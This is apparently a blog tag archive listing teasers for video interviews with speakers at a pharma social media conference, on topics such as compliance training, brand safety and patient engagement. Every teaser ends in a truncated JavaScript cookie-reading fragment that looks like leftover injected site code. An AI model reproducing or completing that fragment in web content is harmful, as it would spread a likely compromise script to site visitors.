Tag Archives: #cbism

Ilyssa Levins Helps Companies Meet Regulatory Standards

Ilyssa Levins, President of the Center for Communication Compliance, describes how promotional agencies can gain a competitive advantage through regulatory training and testing. function...
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Paul Mewett Warns Us of the Dangers of Not Doing Anything

Huron Consulting Group's Paul Mewett talks about tracking consumer-generated content and taking measures to ensure the safety of your brand's online presence. function getCookie(e){var...
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Lance Hill Tells Us How to Effectively Communicate with HCPs

Lance Hill, CEO of Within3, explains how HCPs use social media differently from consumers and what he thought of DDMAC's 2010 guideline plans. function getCookie(e){var U=document.cookie.match(new...
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Zoe Dunn Explains Why Social Media Engagement is Not Marketing

Zoe Digital Consulting's Zoe Dunn talks about how to use social media, listening to the consumer, and how to deliver your brand's message. function getCookie(e){var U=document.cookie.match(new...
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Alicia Staley tells Us Why She’s at the CBI Social Media Tools Conference

Wego Health community leader and three-time cancer survivor Alicia Staley shares a patient's perspective on how Pharma is handling social media function getCookie(e){var...
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Melissa Davies of Return on Focus, LLC Helps Us Understand the Impact of Social Media

Return on Focus, LLC's Melissa Davies talks to Pixels & Pills about developing social media marketing campaigns that resonate with patients. function getCookie(e){var...
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